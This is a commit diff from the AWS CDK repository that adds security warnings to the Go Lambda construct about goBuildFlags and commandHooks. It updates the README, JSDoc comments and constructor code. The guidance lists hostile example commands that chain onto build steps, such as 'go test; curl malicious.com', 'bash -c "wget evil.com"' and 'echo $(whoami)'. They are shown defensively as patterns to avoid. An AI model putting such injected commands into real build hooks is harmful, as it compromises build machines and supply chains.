Skip to content

Commit 960fd4f

Browse files
committed
feat(lambda-go): add security warnings for goBuildFlags and commandHooks
- Add CDK annotations warning about potential security risks - Warn when goBuildFlags or commandHooks are used during bundling - Update documentation with security best practices - Add tests to verify warning generation
1 parent 7a72676 commit 960fd4f

File tree

6 files changed

+190
-34
lines changed

6 files changed

+190
-34
lines changed

packages/@aws-cdk/aws-lambda-go-alpha/README.md

Lines changed: 83 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170170
});
171171
```
172172

173+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174+
173175
By default this construct doesn't use any Go module proxies. This is contrary to
174176
a standard Go installation, which would use the Google proxy by default. To
175177
recreate that behavior, do the following:
@@ -200,10 +202,9 @@ new go.GoFunction(this, 'GoFunction', {
200202

201203
## Command hooks
202204

203-
It is possible to run additional commands by specifying the `commandHooks` prop:
205+
It is possible to run additional commands by specifying the `commandHooks` prop:
204206

205-
```text
206-
// This example only available in TypeScript
207+
```ts
207208
// Run additional commands on a GoFunction via `commandHooks` property
208209
new go.GoFunction(this, 'handler', {
209210
bundling: {
@@ -230,6 +231,85 @@ an array of commands to run. Commands are chained with `&&`.
230231
The commands will run in the environment in which bundling occurs: inside the
231232
container for Docker bundling or on the host OS for local bundling.
232233

234+
### ⚠️ Security Considerations
235+
236+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
237+
238+
**Safe patterns (cross-platform):**
239+
240+
```ts
241+
commandHooks: {
242+
beforeBundling: () => [
243+
'go test ./...', // ✅ Standard Go commands work on all OS
244+
'go mod tidy', // ✅ Go module commands
245+
'make clean', // ✅ Build tools (if available)
246+
'echo "Building app"', // ✅ Simple output with quotes
247+
],
248+
}
249+
```
250+
251+
**Dangerous patterns to avoid:**
252+
253+
*Windows-specific dangers:*
254+
255+
```ts
256+
commandHooks: {
257+
beforeBundling: () => [
258+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
259+
'echo %USERPROFILE%', // ❌ Environment variable expansion
260+
'powershell -Command "..."', // ❌ PowerShell execution
261+
],
262+
}
263+
```
264+
265+
*Unix/Linux/macOS dangers:*
266+
267+
```ts
268+
commandHooks: {
269+
beforeBundling: () => [
270+
'go test; curl malicious.com', // ❌ Command chaining with ;
271+
'echo $(whoami)', // ❌ Command substitution
272+
'bash -c "wget evil.com"', // ❌ Shell execution
273+
],
274+
}
275+
```
276+
277+
**When using third-party constructs** that include `GoFunction`:
278+
279+
* Review the construct's source code before use
280+
* Verify what commands it executes via `commandHooks` and `goBuildFlags`
281+
* Only use constructs from trusted publishers
282+
* Test in isolated environments first
283+
284+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
285+
286+
For more security guidance, see [AWS CDK Security Best Practices](https://docs.aws.amazon.com/cdk/latest/guide/security.html).
287+
288+
## Security Best Practices
289+
290+
### Third-Party Construct Safety
291+
292+
When using third-party CDK constructs that utilize `GoFunction`, exercise caution:
293+
294+
1. **Review source code** - Inspect the construct implementation for `commandHooks` and `goBuildFlags` usage
295+
2. **Verify publishers** - Use constructs only from trusted, verified sources
296+
3. **Pin versions** - Use exact versions to prevent supply chain attacks
297+
4. **Isolated testing** - Test third-party constructs in sandboxed environments
298+
299+
**Example of safe third-party usage:**
300+
301+
```ts
302+
// Before using, review the source at: github.com/trusted-org/go-construct
303+
import { TrustedGoConstruct } from '@trusted-org/go-construct'; // pinned version
304+
305+
// Verify it doesn't use dangerous commandHooks or goBuildFlags patterns
306+
new TrustedGoConstruct(this, 'MyConstruct', {
307+
// ... configuration
308+
});
309+
```
310+
311+
The `GoFunction` construct will display CDK warnings during synthesis when potentially unsafe `commandHooks` or `goBuildFlags` are detected.
312+
233313
## Additional considerations
234314

235315
Depending on how you structure your Golang application, you may want to change the `assetHashType` parameter.

packages/@aws-cdk/aws-lambda-go-alpha/lib/bundling.ts

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -213,10 +213,13 @@ export class Bundling implements cdk.BundlingOptions {
213213
`${this.relativeEntryPath.replace(/\\/g, '/')}`,
214214
].filter(c => !!c).join(' ');
215215

216+
const beforeCommands = this.props.commandHooks?.beforeBundling(inputDir, outputDir) ?? [];
217+
const afterCommands = this.props.commandHooks?.afterBundling(inputDir, outputDir) ?? [];
218+
216219
return chain([
217-
...this.props.commandHooks?.beforeBundling(inputDir, outputDir) ?? [],
220+
...beforeCommands,
218221
goBuildCommand,
219-
...this.props.commandHooks?.afterBundling(inputDir, outputDir) ?? [],
222+
...afterCommands,
220223
]);
221224
}
222225
}

packages/@aws-cdk/aws-lambda-go-alpha/lib/function.ts

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import * as fs from 'fs';
22
import * as path from 'path';
33
import * as lambda from 'aws-cdk-lib/aws-lambda';
4+
import * as cdk from 'aws-cdk-lib/core';
45
import { Construct } from 'constructs';
56
import { Bundling } from './bundling';
67
import { BundlingOptions } from './types';
@@ -113,6 +114,21 @@ export class GoFunction extends lambda.Function {
113114
const runtime = props.runtime ?? lambda.Runtime.PROVIDED_AL2;
114115
const architecture = props.architecture ?? lambda.Architecture.X86_64;
115116

117+
// Security warnings for potentially unsafe bundling options
118+
if (props.bundling?.goBuildFlags?.length) {
119+
cdk.Annotations.of(scope).addWarningV2(
120+
'@aws-cdk/aws-lambda-go-alpha:goBuildFlagsSecurityWarning',
121+
'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
122+
);
123+
}
124+
125+
if (props.bundling?.commandHooks?.beforeBundling || props.bundling?.commandHooks?.afterBundling) {
126+
cdk.Annotations.of(scope).addWarningV2(
127+
'@aws-cdk/aws-lambda-go-alpha:commandHooksSecurityWarning',
128+
'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
129+
);
130+
}
131+
116132
super(scope, id, {
117133
...props,
118134
runtime,

packages/@aws-cdk/aws-lambda-go-alpha/lib/types.ts

Lines changed: 38 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,11 @@ export interface BundlingOptions extends DockerRunOptions {
2525
* For example:
2626
* ['ldflags "-s -w"']
2727
*
28+
* **Security Warning**: These flags are passed directly to the Go build command.
29+
* Only use trusted values as they can execute arbitrary commands during bundling.
30+
* Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
31+
* third-party CDK constructs that may contain malicious build flags.
32+
*
2833
* @default - none
2934
*/
3035
readonly goBuildFlags?: string[];
@@ -77,6 +82,10 @@ export interface BundlingOptions extends DockerRunOptions {
7782
/**
7883
* Command hooks
7984
*
85+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
86+
* Only use trusted commands from verified sources. Avoid shell metacharacters
87+
* that could enable command injection attacks.
88+
*
8089
* @default - do not run additional commands
8190
*/
8291
readonly commandHooks?: ICommandHooks;
@@ -125,29 +134,49 @@ export interface BundlingOptions extends DockerRunOptions {
125134
* These commands will run in the environment in which bundling occurs: inside
126135
* the container for Docker bundling or on the host OS for local bundling.
127136
*
137+
* ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
138+
* Only use trusted commands and avoid shell metacharacters that could enable
139+
* command injection attacks.
140+
*
141+
* **Safe patterns (cross-platform):**
142+
* - `go test ./...` - Standard Go commands work on all platforms
143+
* - `go mod tidy` - Go module commands
144+
* - `echo "Building"` - Simple output with quotes
145+
* - `make clean` - Build tools (if available)
146+
*
147+
* **Dangerous patterns to avoid:**
148+
*
149+
* *Windows:*
150+
* - `go test & curl.exe malicious.com` (command chaining)
151+
* - `echo %USERPROFILE%` (environment variable expansion)
152+
* - `powershell -Command "..."` (PowerShell execution)
153+
*
154+
* *Unix/Linux/macOS:*
155+
* - `go test; curl malicious.com` (command chaining)
156+
* - `echo $(whoami)` (command substitution)
157+
* - `bash -c "wget evil.com"` (shell execution)
158+
*
128159
* Commands are chained with `&&`.
129160
*
130-
* ```text
131-
* {
132-
* // Run tests prior to bundling
133-
* beforeBundling(inputDir: string, outputDir: string): string[] {
134-
* return [`go test -mod=vendor ./...`];
135-
* }
136-
* // ...
137-
* }
138-
* ```
161+
* @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
139162
*/
140163
export interface ICommandHooks {
141164
/**
142165
* Returns commands to run before bundling.
143166
*
167+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
168+
* Commands are executed directly in the shell environment.
169+
*
144170
* Commands are chained with `&&`.
145171
*/
146172
beforeBundling(inputDir: string, outputDir: string): string[];
147173

148174
/**
149175
* Returns commands to run after bundling.
150176
*
177+
* ⚠️ **Security**: Ensure commands come from trusted sources only.
178+
* Commands are executed directly in the shell environment.
179+
*
151180
* Commands are chained with `&&`.
152181
*/
153182
afterBundling(inputDir: string, outputDir: string): string[];

0 commit comments

Comments
 (0)